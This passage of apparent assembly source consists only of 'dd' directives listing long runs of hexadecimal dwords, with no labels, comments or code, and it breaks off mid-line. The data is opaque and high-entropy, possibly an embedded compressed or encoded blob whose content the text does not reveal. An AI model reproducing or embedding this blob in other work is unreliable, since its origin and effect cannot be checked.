590D4B00h, 0A954FF1Bh, 563000F4h dd 0FBFA0990h, 0FC0229C8h, 401FA878h, 97B840DFh, 9F2E009Bh dd 0AE01A51Eh, 2658048Ah, 69FC00B8h, 1B083331h, 0ACF11824h dd 0D0951821h, 905C411Fh, 9CCE2EC7h, 794B5D20h, 0ABA70B74h dd 2F0CB5AEh, 0C6005040h, 92CFFE0Ah, 0F8D0245Ah, 9EE014Ch dd 84D88DB1h, 4ECEC4F2h, 6700E890h, 529FEBA5h, 5EA893h dd 16B10F6Eh, 8EBCF68Fh, 9B1FBE0Bh, 0DFC0879Dh, 68E08854h dd 15EE0020h, 46D32704h, 8D3E3A82h, 734700CEh, 0A7D78EBDh dd 0A1612474h, 0D112FCh, 0F157F30h, 0E8EA5D05h, 0E328A527h dd 0AAD6D894h, 9CCD02BFh, 0C030D263h, 68011478h, 3887B0BEh dd 0E4F9F707h, 77115422h, 6C130A4Eh, 4300AC10h, 0F6785115h dd 77CB047Eh, 80936F44h, 8919BF9Ch, 8FEBA93Ah, 0E0829D3Eh dd 3FE0013Ah, 27C4B828h, 54808E1Ch, 18BEF4FDh, 3A708C00h dd 0F0261293h, 7F773949h, 0AAE9E80h, 8115A4C9h, 9D3C4109h dd 7388E819h, 0B9B70046h, 9EBD3037h, 0F205E884h, 7043F7Fh dd 585FE8D0h, 44980B89h, 30604D51h, 0C80F30F5h, 60FF6FC2h dd 83098FD3h, 0FC1F5CBFh, 0A7C60700h, 0A144AEC5h, 81F34D07h dd 8340737Ah, 179B38E8h, 4F5F06h, 6DC7A701h, 0C900482Bh dd 0ED41E4D2h, 785AE768h, 233A0073h, 290C8581h, 7D70C001h dd 5B7F7200h, 0A48F83D3h, 36900F8h, 6B6F3340h, 124EF0DDh dd 1A9C4080h, 23AA0017h, 5E80BA2h, 9D00E1FDh, 1F516E0Fh dd 906DAEB0h, 6BDB00D4h, 0C0A2C5BDh, 6A00E823h, 74951F9Ch dd 5B4F2h dd 0D6CBEDFEh, 0FAF1F779h, 0B38C40F3h, 58777B12h, 0E72D1A0Bh dd 1147A2Ch, 0B6CFAE09h, 403BEA15h, 46CD82AFh, 4CD77612h dd 2C4054A9h, 9EF42627h, 0D68F8098h, 653A84CCh, 0B651691Ch dd 18B24BD7h, 48058BC6h, 0A7692A00h, 30C5196Fh, 3F8E05B3h dd 204C66BEh, 0CBDB812Ch, 0A487B200h, 45E1580Ch, 3485529Fh dd 0AF3B1504h, 0C4F8B017h, 6D3AD0Ch, 2C11EFh, 6DB04F15h dd 2E87174Dh, 0BC2F362Ch, 23CA288Eh, 0D2B70232h, 0B6D8A085h dd 0FD44E9h, 155B209Bh, 0C604E57Fh, 17DC40F1h, 0D300B0CDh dd 2C0E626Fh, 50CF903Fh, 0C2C8E8h, 0FC7ED293h, 7815B4F0h dd 27F62100h, 0CFDD2217h, 0E5CA3C70h, 1F823D0Bh, 0FE1E7B00h dd 4C02C625h, 786472F0h, 5DB4A515h, 0CFEAD005h, 0E87D8860h dd 88B4ABCAh, 0EE71E44Dh, 5BE32C77h, 446E0334h, 0FBCDE8F9h dd 4891C30Ch, 50AC9603h, 8312FBD4h, 631C7DAFh, 4300BCA6h dd 3368A089h, 617405h, 0E7E612CEh, 0C3172865h, 8CB13601h dd 4335838h, 58CC0B70h, 75002467h, 0D24348B0h, 9E009A2Bh dd 0F46EAE38h, 376DC184h, 1029444Ah, 3375A029h, 0D21611CFh dd 0E1EBAD03h, 2A23D859h, 250E0EC1h, 968263D0h, 8C49F911h dd 0BCD4EA93h, 5B4E0ADh, 0B3313D46h, 0BC260280h, 0DCF2C77Dh dd 0C37BDB0Bh, 45740004h, 27C6973h, 0A6460A5Eh, 0E48F631Ah dd 0D018A2A1h, 174828ADh, 0AC003088h, 2293B8C9h, 1428017Bh dd 0AFE018CEh, 0A0002E81h, 8CA13D0Fh, 20EF809h, 5E69E621h dd 90C03F7Ch, 2C03FD3Bh, 861AB102h, 923988EDh, 558B0E08h dd 0B6271FAEh, 2261E2B5h, 0E4CA460h, 5888674Ah, 50F7007Ah dd 7CCB624Eh, 0CA004B60h, 18E7CF59h, 1283CD5h, 0ABA50CC4h dd 0CCEB3FA4h, 0AC3C0545h, 43D2028Dh, 0C0984E58h, 0EE93D82Ch dd 0E3C00F09h, 0A887B451h, 0DE6F101Dh, 0C225FE98h, 1F246EC9h dd 8302C357h, 56DB5ADFh, 497478B0h, 68EBD105h, 0DCB803C2h dd 77C1916h, 0E015A117h, 0DB0A6494h, 0EDB800BDh, 14672938h dd 0A8630B83h, 5CF03200h, 301ABD8Ah, 0B9FF5000h, 0B1F2991Ch dd 0A94F1FC1h, 12D44316h, 54E3E0EAh, 0C7EF3B88h, 1BE284B8h dd 0E287B710h, 0A4A0A227h, 0A630C9BBh, 831A9F09h, 0AEBCE8F7h dd 482001Bh, 0F1FEC06Dh, 920215BBh, 2C1689Eh, 8850C0F6h dd 0D57602ACh, 36089681h, 2A284440h, 8879F9h, 0C99F7062h dd 4F6E87AEh, 0B040C02Eh, 8309E08Bh, 800DE8E5h, 4492FBE8h dd 56727Bh, 1776BD63h, 0CC8E3BFEh, 71421892h, 0B9920300h dd 0A58E506h, 6C4C2500h, 2031EB0Eh, 624F3FFBh, 0AB52958Ah dd 0A034088h, 0AD093F41h, 1EA2B88h, 18BA6152h, 0FE1B6C30h dd 4C64C01h, 4935E85Bh, 56EF0078h, 4858FEB5h, 7E86126Ch dd 0FBFC426Eh, 6A4014DBh, 5C1E76C3h, 6340DF78h, 0A9E5185Ah dd 0E8621755h, 4088F2A8h, 0F4903BE4h, 81909C00h, 6FF969EBh dd 797BF846h, 0B0B900EAh, 6DF41338h, 709175Dh, 7CA62628h dd 0CA1807E0h, 0E81C5097h, 81B56EA0h, 0ABC59D8h, 820F5462h dd 0A04F6C20h, 29777E41h, 0D19FE40Bh, 0E137C40Bh, 7D3820B6h dd 7A0FC3F3h, 84BB4C23h, 0CD63037Eh, 569327AAh, 7945FBE0h dd 369A3D00h, 5E3E0AACh, 901C3B70h, 91A04682h, 6CCED2F4h dd 0A468CB1Ch, 60D9D180h, 5970C55Ch, 72225006h, 65859B0Bh dd 0F73040E6h, 336E00ADh, 47170FE0h, 0BA0087ECh, 0DBA96CF9h dd 3C78CC9Ch, 544C713Dh, 0F424C100h, 0EDCDE7E5h, 0D103CA13h dd 9942D049h, 0CBF9FEF4h, 0F80C2C0Eh, 0E21AAF11h, 0E82E68B3h dd 33308561h, 48802AB1h, 0B08C3B61h, 0EFA8002Ch, 2D9E5397h dd 0B2020E10h, 4D36F950h, 0CD4C4BCBh, 0F80F9416h, 6CE4561Fh dd 2B7017C8h, 0C41442E5h, 0D4807846h, 5D87AA2Fh, 831161C9h dd 11CD725h, 41F08D89h, 64ABCA0Dh, 0C977B9ACh, 0FC15252Bh dd 8BF2F784h, 0F1805490h, 50B36753h, 12D93223h, 3BFA9B20h dd 9FB02C03h, 1DBE899Ch, 0C6830454h, 0B009B5AFh, 2991E07Ah dd 7094E5F5h, 9F01C511h, 2CEE3435h, 7BED60h, 3D125004h dd 7209AAC1h, 70FB747h, 5A203780h, 0F5F7C0h, 0E329ABE4h dd 0E882D628h, 0E04E094h, 801FBC53h, 0A23615ACh, 0C30147Dh dd 22B4290Ah, 2C0F971Ah, 19935AC6h, 38183Fh, 9CD25648h dd 1613B0C1h, 3AE1965h, 0AD7902C7h, 0D36786F8h, 0BAE20E00h dd 8EF52128h, 9F46FCE3h, 0CD840AAh, 0E488069Ch, 8A6E3E00h dd 857173CCh, 0EDB00BC6h, 9820C3C9h, 0A398A93Ch, 6F58F509h dd 0EBF46074h, 0C1D8096Ch, 0C24ACCEh, 0A858C430h, 9D74838h dd 80A2258Ch, 72CD64E4h, 0C2E45FC8h, 0BC487B70h, 0A8008C1Ch dd 0B38DA4EAh, 0ABCF26h, 354C9CCEh, 0D3D2792Fh, 78C4271Ah dd 0C5419h, 194EAE9Dh, 9390F198h, 0D0FF6B01h, 7339B496h dd 683C052Ah, 4160812Fh, 789630C4h, 388130D2h, 74605A72h dd 0A42300C2h, 734721DBh, 0A70097D6h, 6F7F4A89h, 2771C1h dd 40D7B1E7h, 3AE982E0h, 60D6D17h, 3AC9409h, 0D51EA922h dd 0C01C10BCh, 3A974091h, 2C294757h, 3100B3F2h, 0F2DD4E0Ch dd 19C08h, 30F6A479h, 0C178249Dh, 2913AFE2h, 18BC76E9h dd 507FB700h, 0E524101Eh, 959FC900h, 1F1A144Ah, 49DB0F0h dd 192B437Eh, 0FD6F81E1h, 0B537E007h, 0BBEB9000h, 4D6F1C31h dd 2B86007Fh, 0D2EA913Eh, 0C1007903h, 57273761h, 99E4CEh dd 0A6D6B717h, 28A1D414h, 0F84A8E3Fh, 4F8BF417h, 6A84E800h dd 0B0D66FC4h, 597224Ch, 0F9001E77h, 6B5159D2h, 0B7486AC2h dd 34284027h, 9144D0A0h, 0EC09A4D4h, 298E5FFh, 5F3A3404h dd 2FA32CC1h, 0ECB4200Ah, 8A0B1A04h, 2B0034F2h, 13F56B96h dd 6200A5AAh, 7BDFE7F7h, 1365FADh, 78D76EF8h, 201EE2D2h dd 0B558140Bh, 0B7D00EEh, 4D7AE719h, 545A48E9h, 0B3B93C00h dd 0E3CAFA38h, 0A6D47100h, 204E4785h, 4BC90B2Fh, 4186396h dd 570BDA5Eh, 5A545346h, 0CA032D2Ch, 757DA410h, 8C055F16h dd 9BEF800h, 182D3E5h, 860BC17h, 720777F8h, 0E6B203E8h dd 0A8372DB7h, 277BC6CDh, 68D0A5E7h, 0F30026E4h, 0B18A99AAh dd 3FBB8Fh, 487D0BF1h, 44DD37F6h, 36DB4200h, 7F99EF5Eh dd 0EAFD0105h, 816927C8h, 96883441h, 6B13E5FAh, 0C040F224h dd 16BD37D5h, 2C3EFE90h, 4D070A8h, 90934C7Bh, 0FF4FFEE0h dd 0A5E5AB00h, 0F20D575Dh, 2C1D7220h, 1EE096CAh, 9CAC40D8h dd 13A7CC31h, 6C09C977h, 0DCF75Eh, 0D2251124h, 45460020h dd 1306197Ch, 0F30B0E85h, 835F245Ah, 0E8FB0B82h, 12E69605h dd 81E22ED6h, 783FDAC8h, 3AB60694h, 4B8BE35h, 0B74DEFE6h dd 9314E79Ch, 478C5400h, 469D93h, 276518FBh, 1EBA5930h dd 0E4E08704h, 0F0B226D7h, 0F07B7C1h, 0BB8980E5h, 3796231Fh dd 9A76A3h, 0F45F0DAEh, 6134F8C0h, 952C5E0Ah, 25EEB862h dd 0A440542Bh, 273E1D5Bh, 72F6093Dh, 646B42FDh, 0FCC8F2DAh dd 22274ADBh, 9CC030E5h, 0ABA4A07Ah, 12FC093Fh, 3854EF45h dd 1C267424h, 1AEE0E0Bh, 0F7A431FCh, 3BA78410h, 0DC971D26h dd 3A32B600h, 0B23FB1B7h, 675C489Ch, 0E5A5D517h, 0D2105098h dd 0D0690330h, 279CDAD8h, 20E20B73h, 39CB50E1h, 48870D14h dd 0B034F137h, 0B88CECE2h, 0ACA6BF63h, 78B389A6h, 6A790902h dd 0C660E0E8h, 52300FFh, 93A2EBB3h, 755FBCC3h, 27A2780h dd 0FB1D09F4h, 0E0F45257h, 94AC4712h, 0E61B884h, 0BF400011h dd 25D53601h, 0FC6C9A44h dd 0D41559h, 843724EFh, 885E8h, 0EAE781E2h, 0F974020Bh dd 0F557F000h, 16559CD0h, 6BBFCE4h, 68960CD8h, 4A4ED11Eh dd 7E641822h, 47DF00C4h, 8F8542D7h, 9A403C00h, 9550760Ch dd 0A0ACB2DAh, 0EC5714h, 55973FDEh, 21E4CC5Ah, 1F45DC00h dd 225E5394h, 2157F59h, 6A0763CDh, 0AC5E8D6Ch, 3BB97004h dd 84A094C4h, 0D8D00024h, 0E6E141B2h, 20B09214h, 65DA9800h dd 39458BCBh, 0E7BC09C7h, 64D86DA0h, 0DDFE4200h, 9CD33D52h dd 68EA2C7Bh, 2699A604h, 0F803E90h, 7CD5D012h, 0E42D0552h dd 0F3388274h, 0E5DCC0C9h, 987E989Fh, 406095A0h, 0D21EEBBAh dd 89C03E0Ch, 0B3AC1B08h, 19CB0CEh, 0A79A1DE2h, 68851F28h dd 0B11E053Ch, 8C805BFAh, 260331h, 0B0EDC908h, 2A387FB6h dd 46911103h, 0BAB5DF71h, 9885756Fh, 3F38E52Ch, 0A09C7C41h dd 0C02DC36Ah, 396F8701h, 0DE1A9EAEh, 8538747Ch, 2D29AD4Ch dd 0E316A8F8h, 0A8C10756h, 80A5C460h, 0AF500204h, 28111F00h dd 8ACA64D9h, 8EE2042Ch, 90CE29B2h, 2E364FECh, 0EC520D5Bh dd 0EC903C56h, 212D0Fh, 841598A0h, 0F6F33ACCh, 0DE00BE73h dd 67A6F243h, 1D82CCEh, 87186939h, 2837DA2Bh, 64CC2D6Ch dd 80C17E48h, 44007A08h, 887750D1h, 9779060Eh, 9BF1C0A0h dd 6B00A554h, 75DAE87Fh, 7C55D31Bh, 253765Eh, 176AB44h dd 0A8E0A93Ah, 0F11E4B0Bh, 0BA83C650h, 405B4E0Dh, 1657F850h dd 49593527h, 44E48AE0h, 48B0AF26h, 9A1F2780h, 319233h dd 1240348Ah, 60ADE93Dh, 1040BB5Eh, 0A36BDBB5h, 0C1F000BEh dd 98E28A49h, 0F7054257h, 2DCF66A7h, 69D7D7C7h, 7E8FBF50h dd 0EA8438B9h, 0EDFF00F0h, 72AA36C7h, 3B3A5952h, 0BAC48E13h dd 0BDAE2044h, 8B81B3h, 8FCD951h, 48E05DC6h, 5AEFD81Ch dd 5CEAA8F0h, 1CB32670h, 11A501FCh, 7C6EAED3h, 2E80013Ch dd 791A2B73h, 1ED9F6D0h, 80455421h, 0A1BCB89h, 0F2F80546h dd 11447912h, 80A1D80Bh, 0CFA49C5Fh, 33401E4Fh, 74E040D1h dd 0A5FAFBCEh, 0CB0AC52Eh, 0F386828h, 89AD0061h, 0BC4E3405h dd 0BE681DFDh, 0EB1BC07Ah, 0D8A240AFh, 0A9C1FA12h, 97E98480h dd 2E4003Ch, 0B08D5465h, 600CD6Eh, 0E879C38h, 0E1E8F2Bh dd 95BAB620h, 36A42300h, 2C3AF410h, 96EA80F5h, 3C435BA3h dd 8224277Ch, 0E123D460h, 0F868EB00h, 0F4C40FCFh, 0D17F2538h dd 9076C50h, 2A46162h, 0AF507807h, 56869F8h, 235FF11Ah dd 0F7FAC190h, 3B7ED8h, 54EA39C8h, 1D00A020h, 0C0DE2113h dd 58A4364Eh, 5F0218C7h, 939F9AEEh, 0B5015074h, 0EBBF1BC3h dd 5C6E22E0h, 5600E317h, 6130A321h, 0B0003B41h, 0F9E882CEh dd 0F4881E5Bh, 0F52F00B5h, 0C2713CE0h, 0CD0912C1h, 7826CCh dd 0FFAF07C4h, 0F44000EEh, 0C4EF79B4h, 4A75E4F9h, 20AEBF24h dd 71293B83h, 182DC9EEh, 802F47E1h, 2C21EB34h, 8F1D5F00h dd 814E1B76h, 3CE027Ah, 4771B179h, 0F2008452h, 6090C8C6h dd 3A0FB554h, 928F9A3Ch, 2A0266Ah, 4BA2684Eh, 0CF121D00h dd 1924B617h, 0A009199Ch, 7033B870h, 75608215h, 4C93A3B8h dd 20140012h, 0A9ABC5D9h, 1E4E4866h, 5FA2A0D0h, 7D350C4Fh dd 13A9E3D2h, 0CF7C9100h, 5B2025EFh, 729B1649h, 76620C1Fh dd 6D21B5B9h, 1853034Bh, 0D7D07DB6h, 462882B3h, 2045184Dh dd 489BEFD4h, 4B0ED7FFh, 0C9002952h, 927B96C6h, 0CBD36304h dd 2C924307h, 0A53CD65Eh, 93518880h, 0CB704F6Eh, 4000D5EEh dd 0E05E7F82h, 0F2DAECC8h, 2679251Fh, 0DE001478h, 2C7D23D9h dd 9B19248h, 38743A5Dh, 8ECC2C01h, 2C251064h, 31980E2Dh dd 8987E694h, 6A3F400Ch, 0EC136086h, 1000697Fh, 0A06DA444h dd 0EF7412A7h, 9E80C037h, 0C4072A0Eh, 0A439C022h, 0A2839F8Fh dd 0D28AC604h, 1DE4D6BCh, 0A4A98F4Dh, 0A59749A0h, 0EF035153h dd 2354558Fh, 3101A869h, 771800E8h, 0C038DB21h, 0D90949CAh dd 8005ECEEh, 5DF2A060h, 0C6F9012Bh, 0A24A065Ah, 0A4073F26h dd 25B19EB7h, 787188F6h, 3D712830h, 6B1EE7C9h, 95AC79EAh dd 0C3400268h, 6360AB77h, 0A0003916h, 80D35EE0h, 0A025CB87h dd 3BE701B0h, 908023B7h, 3345739h, 0A500D3CAh, 7B8D77A9h dd 60FF21AEh, 0DD9E98DFh, 530019CBh, 93E236F0h, 0FC0DA6h dd 57C72ABDh, 9C6C51F9h, 8096E43Bh, 251A583Dh, 2C60294h dd 0B9215FB3h, 0A4C03A79h, 9C00C75Eh, 0F93CEA37h, 70D968B5h dd 2FEF0092h, 0DF57A0Ch, 2E0076B1h, 6CBBCE10h, 5F6A3EEh dd 0E9B8DC30h, 9738845Eh, 802615FCh, 2D4D8D64h, 9CCDE600h dd 49075BEAh, 93080E9Dh, 4821C109h, 2E1A56A3h, 0BB1BC4C0h dd 0ACBA26F3h, 32D050Ah, 8340D0B1h, 405223Ch, 9DB7E6CAh dd 0B96BCB00h, 9DBBE794h, 0AE8C3443h, 13914000h, 12CA96FAh dd 0CC5DFDh, 0C3F62D80h, 4F609327h, 50ECB448h, 17DE03D6h dd 0DB70E94Bh, 0B3E08BFAh, 9000040Ah, 2BA8E3CBh, 0B9F9D06Dh dd 0F2013C50h, 0A4D489Ch, 96F08065h, 0CFF4B1F0h, 1E45003Ah dd 0A9C253C5h, 33077219h, 7101A54Bh, 0A023CA40h, 5D280E69h dd 563DB1A7h, 4A800219h, 6C409D96h, 0C500D3C7h, 3FBC519Ch dd 9D6EEDCh, 0E38DBB11h, 5884EA0Bh, 4BFC8C2Ch, 1707258h dd 0D4287624h, 4DF08141h, 13580FB0h, 0E8EEF0DCh, 1E22948Eh dd 38E0128Ah, 0D8B67CF7h, 90B3E717h, 0A8F84001h, 2C500FB8h dd 113F1F1Ch, 65E27400h, 1AF7FD3h, 14884206h, 607734CCh dd 0BF00665Ch, 336A55C4h, 11E5FB5h, 0C8E62110h, 0B9571CFFh dd 445848h, 2325937h, 5CD2DABFh, 6B07D4AEh, 4C3366BAh dd 0CBED311h, 93D45F60h, 0CF1A2539h, 0D49C5461h, 0F5008B65h dd 0EA4A5849h, 0C0EB48Fh, 30C414FFh, 0C8003AECh, 0CD69E50Dh dd 224A312h, 7901AD5Bh, 3C561856h, 138058A7h, 894374h dd 0E506940h, 4F01A3D7h, 871146Ch, 883A4CB1h, 90441054h dd 1D0E0086h, 40BFCDC9h, 7006B10Ch, 683661B5h, 1DC80011h dd 57DA58DDh, 78003303h, 35F523C7h, 0B8F142ECh, 9AD117D1h dd 50C4A565h, 0FDCFDEC0h, 0C3080328h, 10155D7Bh, 72D8EFACh dd 0CAA49894h, 26AE4800h, 4B5EFC02h, 3550A0DDh, 5BFB0309h dd 887E55h, 0C6AAFDA4h, 5EEE690Fh, 0C101A80Fh, 0F94D60B3h dd 983AEFBDh, 0F24001CCh, 81B42EF0h, 2A06278h, 5A8E9BDFh dd 621C5E31h, 4C79303Eh, 987F8960h, 0A35500A5h, 9734245Ch dd 3303771Eh, 0FB29F843h, 0D2528770h, 70FC6Dh, 1C23F2CBh dd 0E907BB66h, 3B776358h, 0C9188059h, 0F2843062h, 962909C8h dd 0F4617DBCh, 0E4206B36h, 755A7Ch, 23C05D2Ch, 0F1F30249h dd 0E71FCB00h, 3AA48F8Bh, 53890069h, 9AF658D6h, 0FA0201CEh dd 3173454Bh, 34237703h, 98B05ACCh, 1909FCCBh, 26D79AEh dd 57D70358h, 0C142F483h, 0D0FA8BA0h, 0A7294116h, 0E66D2F1Dh dd 0CCE880A8h, 3814077Ch, 0B0BD4A73h, 0CD0F9CA7h, 0F08C092Eh dd 0E0A55C00h, 696766h, 314A8597h, 0FC734746h, 99A83D00h dd 4B5A0174h, 37DE0033h, 634F8171h, 0F05CD5Ch, 58EBD4F5h dd 1A5400ABh, 82C7BDD7h, 0B0727630h, 97C9C409h, 2F5CA060h dd 0CA00C1E0h, 0CB074D8Bh, 0BB4B2EBh, 826387Fh, 0B5F1AC90h dd 4C047800h, 0D10C24A0h, 1D53F29Ch, 0C0D32243h, 5FAD8EBBh dd 65009966h, 0C0ED6964h, 9BF8CB1h, 2A512FBDh, 0AE80187Ch dd 649A530Fh, 5A420010h, 0B8C8A3A5h, 0B377DF8Eh, 73B7CC00h dd 13488C5h, 0A48B4C36h dd 10B96C00h, 4E15DD25h, 0A38CBC00h, 301F229Fh, 83E3268Ah dd 31514480h, 6000986Fh, 0E316EC32h, 3C00F6FFh, 0E6B3F880h dd 0BA5D01E9h, 98E2A941h, 0B0E83410h, 0A238C8B5h, 424E81h dd 0EE33C324h, 3F247D82h, 0FE04501Dh, 0B8D8477Ch, 0F09E409Fh dd 8DE14103h, 4A8F64AAh, 2CDCE0B0h, 0C302A900h, 6762FB5h dd 8E7F3113h, 303B6720h, 0C700E734h, 0AD8F082Dh, 67919A1h dd 0D30EAB97h, 8F9E8AAh, 458B065h, 0C9ED2D50h, 466CF0B7h dd 0A307EC00h, 641CE27Ah, 0C3521FDFh, 0E8D180A8h, 804144A7h dd 5F07549Ch, 0C8C29554h, 16472B9h, 728646EDh, 6C0AD51Bh dd 878B3A84h, 716C3DE4h, 0D364FD0h, 8838046Eh, 80A44793h dd 2478CD75h, 0B91B5607h, 8720B492h, 0AE1A1Dh, 0A8959434h dd 0B29E5497h, 0FA5B8C16h, 7FF8CCE1h, 0EACB12D8h, 208FC69h dd 6481BC8Ah, 0A504C0A8h, 0C990040h, 2685E9F0h, 0B20FC074h dd 0AE76152Eh, 0CD3EE080h, 706498C7h, 270F6B4h, 0A1F79435h dd 20D5785Ch, 0F1246A64h, 0F9C401EDh, 7C5B7AF4h, 0FBC2D472h dd 3F74F200h, 0D5F87678h, 75F302FAh, 0F6707E59h, 7D441080h dd 0D800F771h, 484FF0FDh, 4ABB5427h, 5EA0F4B8h, 0F70032B8h dd 49DE4EC6h, 60380A64h, 82FB8176h, 4297B52Eh, 0C8077508h dd 34D9475Bh, 0B845AFEBh, 2804D1BBh, 0EEE265Ah, 0F9872E10h dd 80FC4A7Eh, 539636A3h, 6D03F49Ch, 7BDF2F10h, 0B9B3E0D6h dd 0E6821232h, 8808E867h, 3359B0ABh, 3F3BEB5Ch, 40321264h dd 4210FCBCh, 0C0DF305Eh, 0A096F8E3h, 510338h, 0BEF59088h dd 0C2B3C4A8h, 0F4013EF8h, 0B23A3663h, 902E5789h, 230A9104h dd 8F007177h, 753F76B7h, 97655Fh, 0AC849026h, 14337E1Bh dd 0B90E8900h, 2DCB36FDh, 7B59030Ah, 0C97AAE8Dh, 9B577CE8h dd 7D418B03h, 0B0ACC593h, 333060h, 0A4849F31h, 224A9A3Bh dd 80357300h, 0D03A2590h, 39643F0Ch, 51848981h, 0C01AC9F1h dd 22051D9Ah, 741B4C47h, 603685C0h, 406E4F52h, 0C580C0E4h dd 0F700663Fh, 0AD2422EFh, 0A526F2Bh, 0DED0E2E1h, 8BA580A0h dd 0C95051C3h, 5AEDEA1Eh, 5CA26507h, 1C6AB573h, 4622D450h dd 617A80DDh, 41C0D17Fh, 0FF89FA9Dh, 0B87700CAh, 6BB07BF3h dd 661CA03Dh, 3EC30476h, 3EE5D12Ah, 2700DF31h, 0AB33DE50h dd 0E8002B21h, 4B80F8F5h, 181AA555h, 6974538Ah, 9E00787Ch dd 5C4FCCDAh, 503C8Eh, 0FBEA8525h, 725B44ABh, 0F420E00Fh dd 5F7400B2h, 3C387790h, 24F2F95Ah, 30D9E22Bh, 0DAFA2DB9h dd 305CFC88h, 0C2698953h, 0A97A9BCDh, 15727000h, 0AF71331Dh dd 10960289h, 2E61EAEBh, 0B19DFA60h, 6BB3BB01h, 5C849B63h dd 2DF023C0h, 9CF94B28h, 92BE013Ah, 8C5280B2h, 21D470E5h dd 30CB0027h, 9A45F1A5h, 0BC00BB11h, 98E4A4E6h, 870BDE2h dd 0AA8A94F9h, 3DB72505h, 58DC00BFh, 0EF0AD066h, 62CAC900h dd 5996D427h, 93231D16h, 64710C75h, 6C469D11h, 28709F02h dd 9C207648h, 0C01D2275h, 39441141h, 4A610F5h, 2E4BA91Ah dd 0C4594110h, 601191F0h, 1A1521FAh, 0E303604Bh, 7635A8D3h dd 5108301Dh, 4B21B651h, 932D413Ah, 65000E83h, 9BD667EAh dd 0FFFB3F53h, 0A6E7C401h, 0A42A6932h, 6F003779h, 5235864Ah dd 2D5400F6h, 0A6B8A421h, 71E5A70h, 0A9F1A9F9h, 52E42A34h dd 0D0D800DBh, 0EB1D4BE1h, 9F00AAA1h, 0B44F31BBh, 50CF2A8Bh dd 603E6C37h, 5680E15Eh, 8E08B699h, 0DCC0F7D0h, 0D536B50Fh dd 0D3850022h, 3065CAAFh, 57A18DD8h, 51C1FCACh, 0E1FF6C2Dh dd 80A56891h, 0E35C4B26h, 4D448C33h, 4B2D00BAh, 0F5DAD609h dd 913065F6h, 0F83C6146h, 69611842h, 2D7EE12Fh, 0A6704700h dd 0DA5A7824h, 769867h, 133254Ah, 442F62F2h, 583E5E15h dd 0A7701F84h, 0CD89D500h, 6691FA55h, 21630895h, 0F29FD301h dd 0DA67E425h, 4F91C4h, 0B4091F7Dh, 0CC362AC0h, 0A9DB920Ch dd 81998Fh, 0D1BA146Bh, 0FADCE3C7h, 131D9000h, 0A92A39EEh dd 6429C788h, 926905Ch, 5D191A8Eh, 630875C1h, 952193h dd 79B9CA7Dh, 0EF78E647h, 5730FC00h, 0EA32A2F6h, 9A129F8h dd 186D712Ch, 0E3D800E1h, 0BF795C82h, 70FF2A83h, 8960DDF6h dd 0E6E9C429h, 67C8Eh, 0E1C132D6h, 0BE55F2C2h, 0B019C78h dd 0D56BBAFBh, 0C043F66Dh, 6C21A193h, 59C8A0FAh, 39E9813h dd 883D27B0h, 8301FB8h, 2B78211Ch, 2D550E98h, 0A940AF23h dd 9FE68BA0h, 2963000h, 8AD3C4B2h, 8EDB0001h, 4A719718h dd 431898CCh, 6BA847BBh, 512E6109h, 56137B26h, 0C9DF98DCh dd 1632B200h, 92D6B457h, 49C37C3Ch, 2080449Bh, 23E35A4Bh dd 0BC4E448Ch, 44B2700h, 8DFDA7D4h, 40310043h, 0DF6C0EBAh dd 951ADB53h, 4B1AA02h, 14602684h, 0B023A398h, 1A110Fh dd 0E8982C7Bh, 7450120h, 4ADCF2E7h, 1202E33Ch, 0B8D58003h dd 0D36B41ADh, 80D07CA1h, 46840FDEh, 4B190294h, 311BE361h dd 7FB51354h, 0F67501F0h, 0DE8FE260h, 1566F90Eh, 0A0E75B0Eh dd 91729C81h, 99C9006Bh, 5CF1ED0Dh, 0D90938ACh, 1D606EEFh dd 816C11A8h, 3A02AA41h, 30698041h, 0E8C8450h, 0E7AC1D90h dd 0F73D41DFh, 325A9565h, 50B22828h, 87F93E6Fh, 3FC7BD9Ah dd 0C15F4BB3h, 9042967Bh, 8D40D6Fh, 58C9F90h, 0E3964BFCh dd 20F83803h, 0F94B2403h, 1BC02F3Fh, 898AAA20h, 0F8AF5A88h dd 0E8049704h, 0F094E6C4h, 382AD80Ah, 6504676h, 230C58FDh dd 47440C0h, 8C9608F3h, 634B1F05h, 0F0382BE3h, 0AC98BBh dd 5CC2368Ah, 46EAE798h, 822EB1C8h, 0B938B039h, 9B31E4A0h dd 0FC6FA6AAh, 0E9491B78h, 6AE1F71Bh, 50AD3830h, 8C62F8A3h dd 113FF2F4h, 5922C68Ah, 0F29B1707h, 0FC01E8C5h, 0D8333653h dd 0B1780F00h, 3C3E6B14h, 2609D201h, 0C1D1FCCDh, 0DC21D7E8h dd 916A9829h, 420BF343h, 80D63E22h, 0A036460Fh, 0D267007Bh dd 0FBB60AAAh, 0F91C553Fh, 65C35379h, 48383CDEh, 26239448h dd 1A44601Eh, 0B8676E09h, 0A068818Eh, 341213EFh, 0C4EB0080h dd 0AC453BD8h, 0B648F270h, 0C7688880h, 8A13E199h, 8965189Dh dd 5F2E4D1h, 5312220Fh, 80FE0E86h, 0AA5496DAh, 3EE9C665h dd 0BF06310Ah, 9A02B4FCh, 12781E84h, 6C1B1ED3h, 6EC316ECh dd 623FDCh, 61E9570Dh, 5CAF9D2Bh, 0F4484634h, 0B81A313Eh dd 0FC4051FBh, 0DC3E16D3h, 50B92820h, 2827253Ch, 680114AFh dd 1498A442h, 8030D619h, 177E8C2Dh, 0C7B0A208h, 401E643Ch dd 0CE980F74h, 660E2DCh, 3D213857h, 22464842h, 0A797D802h dd 2331AFB0h, 98987713h, 0B32CEA58h, 0D50527B6h, 4880E6Bh dd 6C111404h, 14700808h, 5875977Ah, 8C1AB8h, 712B509Eh dd 9A8CC259h, 7C264D0Bh, 9401114h, 0BC1DFD08h, 6826BB89h dd 69185211h, 0DC412131h, 0AD219C00h, 0F89A878Bh, 586148A4h dd 0D2C2B23h, 66123D2Ch, 75865838h, 52A6166Bh, 9CEC003Bh dd 0EF995191h, 56C9B019h, 20192C50h, 92920ADh, 5911285Eh dd 8262CB1Bh, 0F0A204E8h, 0DE3126F0h, 8AA9E115h, 3AF00F13h dd 0ED260B7Fh, 4674105Eh, 0DAE90262h, 495D10B2h, 0EEE8CF30h dd 0D785006Ah, 86E197A6h, 98A8336Eh, 0CF005814h, 24597291h dd 386713B0h, 44DD6932h, 0DCE20102h, 74608866h, 0C407C2A4h dd 4684F921h, 0DB96A2D0h, 24D27B8Dh, 5A4019Bh, 6921D5h dd 0C69E4D30h, 8AFA46C9h, 0EBC33Fh, 0DB800519h, 4CEFC430h dd 3B2250B1h, 3245B301h dd 